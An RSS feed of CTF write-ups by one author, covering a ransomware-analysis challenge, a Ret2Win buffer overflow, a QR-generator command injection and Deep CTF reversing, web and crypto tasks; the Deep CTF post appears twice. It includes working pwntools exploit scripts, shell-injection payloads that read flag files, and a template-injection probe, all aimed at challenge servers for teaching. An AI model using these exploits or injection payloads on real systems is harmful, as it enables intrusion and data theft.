<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 4N0NYM4U5 on Medium]]></title>
        <description><![CDATA[Stories by 4N0NYM4U5 on Medium]]></description>
        <link>https://medium.com/@arjun1gu?source=rss-4433c6d174ab------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*7f-Bvpbk9G0FGdbS</url>
            <title>Stories by 4N0NYM4U5 on Medium</title>
            <link>https://medium.com/@arjun1gu?source=rss-4433c6d174ab------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 11:25:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@arjun1gu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Zh3r0 CTF — Five / Nine Writeup]]></title>
            <link>https://medium.com/zh3r0/zh3r0-ctf-five-nine-writeup-c00e2d8d9565?source=rss-4433c6d174ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/c00e2d8d9565</guid>
            <dc:creator><![CDATA[4N0NYM4U5]]></dc:creator>
            <pubDate>Fri, 03 Jul 2020 13:15:51 GMT</pubDate>
            <atom:updated>2020-07-03T13:15:51.534Z</atom:updated>
            <content:encoded><![CDATA[<h3>Zh3r0 CTF — Five / Nine Writeup</h3><blockquote><strong>Challenge :</strong> Five / Nine<br><strong>Description : </strong>Can you undo the Five / Nine?<br><strong>Caution : This is a ransomware so dont run it on your main OS your files will get encrypted, And if it gets encrypted i cant help. So run it on your VM.</strong><br><a href="https://docs.google.com/uc?export=download&amp;id=1j639Iu3cO7bKXoOzDDBP9GfEJ3E5lKNy">File</a><br>Password : ROOTKIT<br><strong>Author :</strong> 4N0NYM4U5</blockquote><p>This challenge had only one solve. It was solved by <a href="https://ctftime.org/team/48976">team cr0wn</a> just before one hour until CTF ended. So congragulations to cr0wn for winning the CTF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*ka_oMBi4Fu9P5Ad7rk18eQ.png" /></figure><p>Also bootplug solved it in a different way but they solved it just 10 minutes after the CTF ended. They scored Second in CTF, So congrats to <a href="https://ctftime.org/team/81341">bootplug</a>.<br>And lets begin with the writeup :).</p><p><strong>Info about the ransomware:<br></strong>I created this ransomware in Python and packed it with PyArmor. So reverse engineering / unpacking would be really hard. So monitoring the ransomware would lead you to the intended solution. So fire up your Windows VM for the analysis. I used Windows 10 unpatched VM and there were few issues when the players tried to run it on Windows 7, I did not know that. Sorry for the issues. The zip contains the ransomware and a folder which has plenty of images from Mr.Robot.</p><p><strong>Working :<br></strong>Run the executable in your VM. It may crash few times due to problem with dev random but it should eventually wrech your PC at some point. It does not encrypt alot of stuffs like exe, That would just destroy your PC and make it unusable so i did not want to do that. Run the exe and if it works, Your desktop wallpaper should have changed and your files should have encrypted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8UgI8cFJStgoKdkH3-p8bQ.png" /></figure><p>Run it twice and check the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/191/1*HJh9tAGpMHwymSjA3JJjEg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*hfhqXW0RTsQm27DrqiUZBQ.gif" /></figure><p>U run it twice the encrypted data gets encrypted again. So make sure you create a snapshot of your VM before trying it.</p><p><strong>Solution :<br></strong>1. Before running the ransomware in your VM.. Take a snap of your registry using regshot. Most persistence techniques on a Microsoft Windows platform involve the use of the Registry. Windows registry is one thing which u shud look up during malware analysis…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*GDnsfUORCCUccPmWvmNjYA.png" /></figure><p>2. Network Analysis : Analyse the outbound connections made by the ransomware using wireshark. You will see a DNS request to a python library.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eTsampImxe7esplcNBz30g.png" /></figure><p><a href="https://pypi.org/project/cryptosteganography/">cryptosteganography</a></p><p>Now try to extract the hidden data using <a href="https://pypi.org/project/cryptosteganography/"><strong>cryptosteganography</strong></a><strong> </strong>and the password we got from regedit key with the images given in the Mr_Robot folder.</p><pre>from cryptosteganography import CryptoSteganography<br>import os<br>import sys<br>from Crypto.Cipher import AES<br>from Crypto.PublicKey import RSA<br>from Crypto.Util.number import *<br>from base64 import *<br>from Crypto import Random</pre><pre>crypto_steganography = CryptoSteganography(&#39;w3_4r3_4n0nym4u5&#39;)</pre><pre>for i in os.listdir():<br>    try:<br>        text = (crypto_steganography.retrieve(i))<br>        print(text)<br>    except:<br>        pass</pre><p>Running this python script inside the Mr_Robot folder will give you this data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*4gVHzBT2uoW-qI1lI6aZGA.png" /></figure><p>BEEPS!!!! It should have been “<strong>You have did well to come here</strong>”. Never mind lets finish this. <br>So with this data we can get the key that is used to encrypt the files.</p><pre>from Crypto.Cipher import AES<br>from Crypto.PublicKey import RSA<br>from Crypto.Util.number import *<br>from base64 import *</pre><pre>n=&lt;value of n&gt;<br>ct=&lt;value of ct&gt;<br>e=65537<br>junk=&lt;value of (p+q)&gt;<br>phin=n-(junk)+1<br>d=inverse(e,phin)<br>m=pow(ct,d,n)<br>key=long_to_bytes(m)<br>print(key)<br>flag_file=open(&#39;C:\\Windows\\System32\\flag.txt.encrypted&#39;,&#39;rb&#39;)<br>enc_data=flag_file.read()<br>enc_data=b64decode(enc_data)<br>dec=AES.new(key,AES.MODE_ECB)<br>flag=dec.decrypt(enc_data)<br>flag=b64decode(flag)<br>print(flag)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ROe3Oa_tqP6mLdmXv1SYHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*3RUdtilJDrd52_xB2RHn2A.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c00e2d8d9565" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/zh3r0-ctf-five-nine-writeup-c00e2d8d9565">Zh3r0 CTF — Five / Nine Writeup</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zh3r0 CTF | Ret2Win Official Writeup]]></title>
            <link>https://medium.com/@arjun1gu/zh3r0-ctf-ret2win-official-writeup-38ae03a6a9f6?source=rss-4433c6d174ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/38ae03a6a9f6</guid>
            <category><![CDATA[ret2win]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[zh3r0]]></category>
            <category><![CDATA[4n0nym4u5]]></category>
            <dc:creator><![CDATA[4N0NYM4U5]]></dc:creator>
            <pubDate>Thu, 07 May 2020 14:31:53 GMT</pubDate>
            <atom:updated>2020-05-07T14:31:53.541Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Challenge Name :</strong> Ret2Win<br><strong>Points :</strong> 216<br><strong>Description :</strong> Need the flag? Return to win!!!<br><strong>Server :</strong> 134.209.157.250 1001</p><p>So it was a pretty basic buffer overflow challenge u just need to <strong>Return To Win </strong>to get the flag. But the binary was not given to them at the start because there weren’t many solves for it the organizers decided to provide them with the binary. So let me teach you how to solve it in both ways.<br>First let us solve the challenge with the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*pntfqCMHq0hIg8aXCuMq8g.png" /></figure><p>So looking at the decompiled code of main function we can see that the main function prints the address of win function and calls the vuln function. So lets look into the vuln function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/163/1*aDZp6IrOJIIrShdRp--2YA.png" /></figure><p>So the vuln function has a buffer overflow vulnerability because it uses gets to read data from the user. So we can overflow the buffer to ovewrite the RIP and place the address of win function. So lets develop our exploit now.</p><p>Run the binary with gdb. I would suggest you to use <a href="https://github.com/pwndbg/pwndbg">pwndbg</a> attachment for gdb which makes the debugging more easier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/1*gJylIgTYVuEhpzB3JV36Yw.png" /></figure><p>Run checksec in gdb to see all the exploit mitigations that the binary has. We have PIE enabled so the address of win keeps changing each time we try to run the program.</p><p>So lets put a breakpoint in the vuln function and continue debugging. We can use pwntools to generate a pattern.</p><pre>pwn cyclic -n 8 100</pre><p>So running with this input we overflow the buffer and get a Segmentation Fault.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cu-EtOMMjuhudQs2dX8-yg.png" /></figure><p>So let us find out the offset to overwrite RIP.</p><pre>pwn cyclic -n 8 -l haaaaaaa<br>=&gt;56</pre><p>So the offset is 56. But why? the buffer size is 48? So let me show you the stack alignment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*w3F1LeZNyuAj3yxjnN91Gg.png" /></figure><p>So in order to overwrite RIP. We need to fill the buffer and even overflow RBP which is 8 bytes.<br>So to overflow the buffer we should write (48 + 8) i.e., 56 bytes of data to overwrite the RIP register.<br>And then we need to place RIP with the address of win function in reverse order. Because it is in the little endian format. So let us contruct our payload now.</p><pre>payload = &quot;A&quot; * 56 + p64(win)</pre><p>Now we have everything to construct a exploit. So we will use python with the pwntools library to make our exploit easy. You can learn to use pwntools with this <a href="https://guyinatuxedo.github.io/02-intro_tooling/pwntools/index.html">link</a>. So check that out.</p><pre>#!/usr/bin/python2.7</pre><pre>from pwn import *<br>context.log_level = &quot;debug&quot;</pre><pre>p = remote(&quot;134.209.157.250&quot;, &quot;1001&quot;)<br>leak = p.recvline().split(&quot; &quot;)<br>leak = int(leak[2],16)<br>payload = &quot;A&quot; * 56 + p64(leak)<br>p.sendline(payload)<br>print(p.recvline())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-IohinyZq4omcLP5y2-Kyg.png" /></figure><p><strong>FLAG : </strong>zh3r0{w3lc0m3_70_h06w4r75}</p><p>Hope you have understood how to exploit a buffer overflow vulnerability. So now it let us try blind buffer overflow without knowing the actual offset.</p><pre>#!/usr/bin/python2.7</pre><pre>from pwn import *<br>context.log_level = &quot;critical&quot;</pre><pre>for i in range(100):<br> p = remote(&quot;134.209.157.250&quot;, &quot;1001&quot;)<br> leak = p.recvline().split(&quot; &quot;)<br> leak = int(leak[2],16)<br> payload = &quot;A&quot; * i + p64(leak)<br> p.sendline(payload)<br> try:<br>  flag = p.recvline()<br>  if &quot;zh3r0&quot; in flag:<br>   print(flag)<br>  p.close()<br>  break<br> except:<br>  p.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urpC0ya-XWujSVtZIqxSVQ.png" /></figure><p>Hope you enjoyed the writeup :). Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38ae03a6a9f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Houseplant CTF Writeup]]></title>
            <link>https://medium.com/zh3r0/houseplant-ctf-writeup-b356db48d3a3?source=rss-4433c6d174ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/b356db48d3a3</guid>
            <category><![CDATA[4n0nym4u5]]></category>
            <category><![CDATA[web-exploitation]]></category>
            <category><![CDATA[riceteacatpandactf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[houseplant-ctf]]></category>
            <dc:creator><![CDATA[4N0NYM4U5]]></dc:creator>
            <pubDate>Mon, 27 Apr 2020 18:09:18 GMT</pubDate>
            <atom:updated>2020-04-28T16:23:42.227Z</atom:updated>
            <content:encoded><![CDATA[<h3>Writeup for QR Generator (Web)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DxWliLR4DaVdBEZtkmdcpQ.png" /></figure><p>This was by far one of the most enjoyable as well as most informative CTF me and <a href="https://medium.com/u/e219e4be4136?source=post_page-----3253f8dd32f4----------------------">Team ZH3R0</a> has played yet. This part will cover the Forensics Challenge from HouseplantCTF organized by RiceTeaCatPanda CTF team. Hope you learn from this post! [edit:-u aint doing a forensics so change it to web and if u arent doing another part then u try removing the part keyword for better clarity.]</p><h3>QR Generator — Web Challenge 2</h3><blockquote><strong>Description : </strong><em>I was playing around with some stuff on my computer and found out that you can generate QR codes! I tried to make an online QR code generator, but it seems that’s not working like it should be. Would you mind taking a look?<br></em>Dev: jammy</blockquote><blockquote><strong>Challenge :</strong> <a href="http://challs.houseplant.riceteacatpanda.wtf:30004/">http://challs.houseplant.riceteacatpanda.wtf:30004</a><em> </em>[EDIT:-post the github link than this as this wont hold for very long…..]</blockquote><p>This was an easy challenge yet it takes time to do it manually. You have an input box and the program will generate a QR code based on your input. Give the input as “AAAA” and scan the outcoming QR code. I used my phone to scan the QR code, It was a convenient way to solve the challenge for me.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*HhtSTjUNutkYniPZTJmaHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*VcJ5BTvlysAqCyFbFJJqBg.jpeg" /></figure><p>But we only got the first character(“A”). Further looking at the source code confirmed that the output contains only the first character.</p><pre>&lt;! — TODO: Fix bug where the QR code only contains 1 character --&gt;</pre><p>But we can run Linux commands in the program using backticks. So we will try to execute <strong>“cat flag.txt”</strong> this time.</p><pre>`cat flag.txt | cut -c 1`</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*Mh6Jrms3nNNtkOwgoOoFbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/432/1*gBncCgMkFXcc9yaYeZAWUQ.png" /></figure><p>We get <strong>“r” </strong>the first character of the flag (Flag format : rtcp{}). So we need to read the flag letter by letter. Doing it manually is a time consuming task.</p><pre>Payload : `cat flag.txt | cut -c {index}`</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b356db48d3a3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/houseplant-ctf-writeup-b356db48d3a3">Houseplant CTF Writeup</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deep CTF 2020]]></title>
            <link>https://medium.com/zh3r0/deep-ctf-2020-fec71b862210?source=rss-4433c6d174ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/fec71b862210</guid>
            <category><![CDATA[4n0nym4u5]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[deepctf]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[4N0NYM4U5]]></dc:creator>
            <pubDate>Mon, 27 Apr 2020 15:41:48 GMT</pubDate>
            <atom:updated>2020-04-27T15:41:48.250Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>Info</strong></blockquote><p><strong>Team Name</strong> : ZH3R0</p><p><strong>Rank</strong> : 11</p><p><strong>Points</strong> : 5361</p><p><strong>Player Name :</strong> 4N0NYM4U5</p><blockquote><strong>Reversing :</strong></blockquote><p><strong>Challenge Name : </strong>Nested Rev</p><p><strong>Points :</strong> 150</p><p><strong>Solves :</strong> 84</p><p><strong>Description :</strong> Life is full of IFs ELSEs :)</p><p><strong>Solution :</strong> Download the binary and open it in IDA Pro and seek into the main function. You will see a bunch of if else blocks. Follow the True statements and you will see a cmp instruction comparing your input to the hardcoded string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*Q9na5XSLkO7Pp8sBJa2Bgw.png" /></figure><p>Take down all the strings in a notepad you will get <strong>{}u0Y___r3v3rs3d1tw3ll<br></strong>By seeing it you get to know that the flag.<br><strong>FLAG : d33p{Y0u_r3v3rs3d_1t_w3ll}</strong></p><p><strong>Challenge Name : </strong>SkipMe</p><p><strong>Points :</strong> 200</p><p><strong>Solves :</strong> 40</p><p><strong>Description :</strong> I love skipping. Do you?</p><p><strong>Solution : </strong>Download the binary and open it up with gdb. I’m using gef attachment to gdb to make reversing simpler. List the functions and you will see a finish function. Break at main function and jump to finish function to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UvXsWkph23JRWpnghU5RxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2z__e9w-N9tS7docCu22Dg.png" /></figure><p><strong>FLAG : d330{f51579e9ca38ba87d71539a9992887ff}</strong></p><p><strong>Challenge Name : </strong>0xKEY</p><p><strong>Points :</strong> 300</p><p><strong>Solves :</strong> 31</p><p><strong>Description :</strong> Can you grab the flag?</p><p><strong>Solution : </strong>Download the binary and run it using ltrace. ltrace is a great tool for reversing and password cracking. The binary asks for user input just type in something. Then you will see a strcmp function which compares user input to the string in binary. Grab the string and give it as a input to the binary and you will get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JaYjJuUFbkVdiNoQZkBCOQ.png" /></figure><p><strong>FLAG : d33p{jnhFClg2sv3uaBBxs}</strong></p><blockquote><strong>Web</strong></blockquote><p><strong>Challenge Name : </strong>Magic Word!</p><p><strong>Challenge Link :</strong> <a href="http://140.238.254.6:8004/">http://140.238.254.6:8004/</a></p><p><strong>Points :</strong> 150</p><p><strong>Solves :</strong> 82</p><p><strong>Description :</strong> Are you mad enough to get the flag?</p><p><strong>Solution : </strong>Looking at the source code of the challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rOUZrFSunf3w7JJ_Mlzw3A.png" /></figure><p>It requires an argument magic_word. And our goal is to get $what_you_actually_heard = ‘d33p’ But the preg_replace function replace ‘d33p’ to ‘’. So to bypass this we spilt the word as “d3d33p3p” when the d33p gets replaced with ‘’ the final result would be ‘d33p’. To get the flag run<br>curl “<a href="http://140.238.254.6:8004/?magic_word=d3d33p3p">http://140.238.254.6:8004/?magic_word=d3d33p3p</a>&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1M4FggfxWKWtkIDvRgBbbg.png" /></figure><p><strong>FLAG : d33p{d33p_p33d}</strong></p><p><strong>Challenge Name : </strong>Nothing is Impossible</p><p><strong>Challenge Link :</strong> <a href="http://140.238.254.6:8003/">http://140.238.254.6:8004/</a></p><p><strong>Points :</strong> 160</p><p><strong>Solves :</strong> 58</p><p><strong>Description :</strong> One of our rabbits has lost the keys of his server to access his flag. He is crying desperately as he only remembers that the flag was in the path: /tmp/flag.php but he dont know how to get there. Our friend BugsBunny was performing reconnaissance tasks when suddently found a web that could help you, please bring me back his flag.</p><p><strong>Solution :</strong> The web page is a php compiler. As the description says that the flag is stored in /tmp/flag.php. I used exec(“cat /tmp/flag.php”); to get the flag. The site wasn’t working when i was making the writeup so no PoC here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jGSek8YvHPMe-ACmAxci2g.png" /></figure><p><strong>Challenge Name : </strong>Greetings!</p><p><strong>Challenge Link :</strong> <a href="http://140.238.254.6:8011/">http://140.238.254.6:8004/</a></p><p><strong>Points :</strong> 200</p><p><strong>Solves :</strong> 18</p><p><strong>Description :</strong> Feed your ‘name’ to the website and hack!</p><p><strong>Solution : </strong>Searching for robots.txt got me this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4tyhjfFhE7qk4NyO_BywFA.png" /></figure><p>So this website is made of FLASK and it takes an argument name. One of my teammate told me about this. So searching for RCE on FLASK go me this interesting github repository <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#basic-injection-4"><strong>PayloadsAllTheThings</strong></a><strong>. </strong>I tried RCE with <strong>?name={{7*7}}</strong> and it works. So the next thing is to read flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-r_y_V-PPGLDDF5jPqwKnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jl8m3uTdidp7eGGzhA08yQ.png" /></figure><p><strong>FLAG : d33p{I_&lt;/3_3000}</strong></p><blockquote><strong>Cryptography</strong></blockquote><p><strong>Challenge Name : </strong>l33tRSA</p><p><strong>Points :</strong> 250</p><p><strong>Solves :</strong> 30</p><p><strong>Description :</strong> A l33t Decrypter Is Required To Decrypt This, Can You Proof Yourself As L33t d3crypt3r?</p><p><strong>Solution : </strong>I am not that good at crypto so i dont have any explaination over here. This challenge was based on multi exponential RSA. But still I could solve this challenge using simple RSA decryption method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UwEMUBDiGCk-oouGkciJWQ.png" /></figure><p><strong>FLAG : d33p{A_l33t_d3crypt3r_4rr1v3d}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fec71b862210" width="1" height="1" alt=""><hr><p><a href="https://medium.com/zh3r0/deep-ctf-2020-fec71b862210">Deep CTF 2020</a> was originally published in <a href="https://medium.com/zh3r0">ZH3R0</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deep CTF 2020]]></title>
            <link>https://medium.com/@arjun1gu/deep-ctf-2020-cb8b9c534bca?source=rss-4433c6d174ab------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb8b9c534bca</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[deepctf]]></category>
            <category><![CDATA[4n0nym4u5]]></category>
            <category><![CDATA[zh3r0]]></category>
            <dc:creator><![CDATA[4N0NYM4U5]]></dc:creator>
            <pubDate>Mon, 06 Apr 2020 10:01:48 GMT</pubDate>
            <atom:updated>2020-04-27T15:45:41.785Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wIT63SkXhB9FXM_D7AO3aw.jpeg" /></figure><blockquote><strong>Info</strong></blockquote><p><strong>Team Name</strong> : ZH3R0</p><p><strong>Rank</strong> : 11</p><p><strong>Points</strong> : 5361</p><p><strong>Player Name :</strong> 4N0NYM4U5</p><blockquote><strong>Reversing :</strong></blockquote><p><strong>Challenge Name : </strong>Nested Rev</p><p><strong>Points :</strong> 150</p><p><strong>Solves :</strong> 84</p><p><strong>Description :</strong> Life is full of IFs ELSEs :)</p><p><strong>Solution :</strong> Download the binary and open it in IDA Pro and seek into the main function. You will see a bunch of if else blocks. Follow the True statements and you will see a cmp instruction comparing your input to the hardcoded string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*Q9na5XSLkO7Pp8sBJa2Bgw.png" /></figure><p>Take down all the strings in a notepad you will get <strong>{}u0Y___r3v3rs3d1tw3ll<br></strong>By seeing it you get to know that the flag.<br><strong>FLAG : d33p{Y0u_r3v3rs3d_1t_w3ll}</strong></p><p><strong>Challenge Name : </strong>SkipMe</p><p><strong>Points :</strong> 200</p><p><strong>Solves :</strong> 40</p><p><strong>Description :</strong> I love skipping. Do you?</p><p><strong>Solution : </strong>Download the binary and open it up with gdb. I’m using gef attachment to gdb to make reversing simpler. List the functions and you will see a finish function. Break at main function and jump to finish function to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UvXsWkph23JRWpnghU5RxA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2z__e9w-N9tS7docCu22Dg.png" /></figure><p><strong>FLAG : d330{f51579e9ca38ba87d71539a9992887ff}</strong></p><p><strong>Challenge Name : </strong>0xKEY</p><p><strong>Points :</strong> 300</p><p><strong>Solves :</strong> 31</p><p><strong>Description :</strong> Can you grab the flag?</p><p><strong>Solution : </strong>Download the binary and run it using ltrace. ltrace is a great tool for reversing and password cracking. The binary asks for user input just type in something. Then you will see a strcmp function which compares user input to the string in binary. Grab the string and give it as a input to the binary and you will get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JaYjJuUFbkVdiNoQZkBCOQ.png" /></figure><p><strong>FLAG : d33p{jnhFClg2sv3uaBBxs}</strong></p><blockquote><strong>Web</strong></blockquote><p><strong>Challenge Name : </strong>Magic Word!</p><p><strong>Challenge Link :</strong> <a href="http://140.238.254.6:8004/">http://140.238.254.6:8004/</a></p><p><strong>Points :</strong> 150</p><p><strong>Solves :</strong> 82</p><p><strong>Description :</strong> Are you mad enough to get the flag?</p><p><strong>Solution : </strong>Looking at the source code of the challenge</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rOUZrFSunf3w7JJ_Mlzw3A.png" /></figure><p>It requires an argument magic_word. And our goal is to get $what_you_actually_heard = ‘d33p’ But the preg_replace function replace ‘d33p’ to ‘’. So to bypass this we spilt the word as “d3d33p3p” when the d33p gets replaced with ‘’ the final result would be ‘d33p’. To get the flag run<br>curl “<a href="http://140.238.254.6:8004/?magic_word=d3d33p3p">http://140.238.254.6:8004/?magic_word=d3d33p3p</a>&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1M4FggfxWKWtkIDvRgBbbg.png" /></figure><p><strong>FLAG : d33p{d33p_p33d}</strong></p><p><strong>Challenge Name : </strong>Nothing is Impossible</p><p><strong>Challenge Link :</strong> <a href="http://140.238.254.6:8003/">http://140.238.254.6:8004/</a></p><p><strong>Points :</strong> 160</p><p><strong>Solves :</strong> 58</p><p><strong>Description :</strong> One of our rabbits has lost the keys of his server to access his flag. He is crying desperately as he only remembers that the flag was in the path: /tmp/flag.php but he dont know how to get there. Our friend BugsBunny was performing reconnaissance tasks when suddently found a web that could help you, please bring me back his flag.</p><p><strong>Solution :</strong> The web page is a php compiler. As the description says that the flag is stored in /tmp/flag.php. I used exec(“cat /tmp/flag.php”); to get the flag. The site wasn’t working when i was making the writeup so no PoC here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jGSek8YvHPMe-ACmAxci2g.png" /></figure><p><strong>Challenge Name : </strong>Greetings!</p><p><strong>Challenge Link :</strong> <a href="http://140.238.254.6:8011/">http://140.238.254.6:8004/</a></p><p><strong>Points :</strong> 200</p><p><strong>Solves :</strong> 18</p><p><strong>Description :</strong> Feed your ‘name’ to the website and hack!</p><p><strong>Solution : </strong>Searching for robots.txt got me this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4tyhjfFhE7qk4NyO_BywFA.png" /></figure><p>So this website is made of FLASK and it takes an argument name. One of my teammate told me about this. So searching for RCE on FLASK go me this interesting github repository <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#basic-injection-4"><strong>PayloadsAllTheThings</strong></a><strong>. </strong>I tried RCE with <strong>?name={{7*7}}</strong> and it works. So the next thing is to read flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-r_y_V-PPGLDDF5jPqwKnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jl8m3uTdidp7eGGzhA08yQ.png" /></figure><p><strong>FLAG : d33p{I_&lt;/3_3000}</strong></p><blockquote><strong>Cryptography</strong></blockquote><p><strong>Challenge Name : </strong>l33tRSA</p><p><strong>Points :</strong> 250</p><p><strong>Solves :</strong> 30</p><p><strong>Description :</strong> A l33t Decrypter Is Required To Decrypt This, Can You Proof Yourself As L33t d3crypt3r?</p><p><strong>Solution : </strong>I am not that good at crypto so i dont have any explaination over here. This challenge was based on multi exponential RSA. But still I could solve this challenge using simple RSA decryption method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UwEMUBDiGCk-oouGkciJWQ.png" /></figure><p><strong>FLAG : d33p{A_l33t_d3crypt3r_4rr1v3d}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb8b9c534bca" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>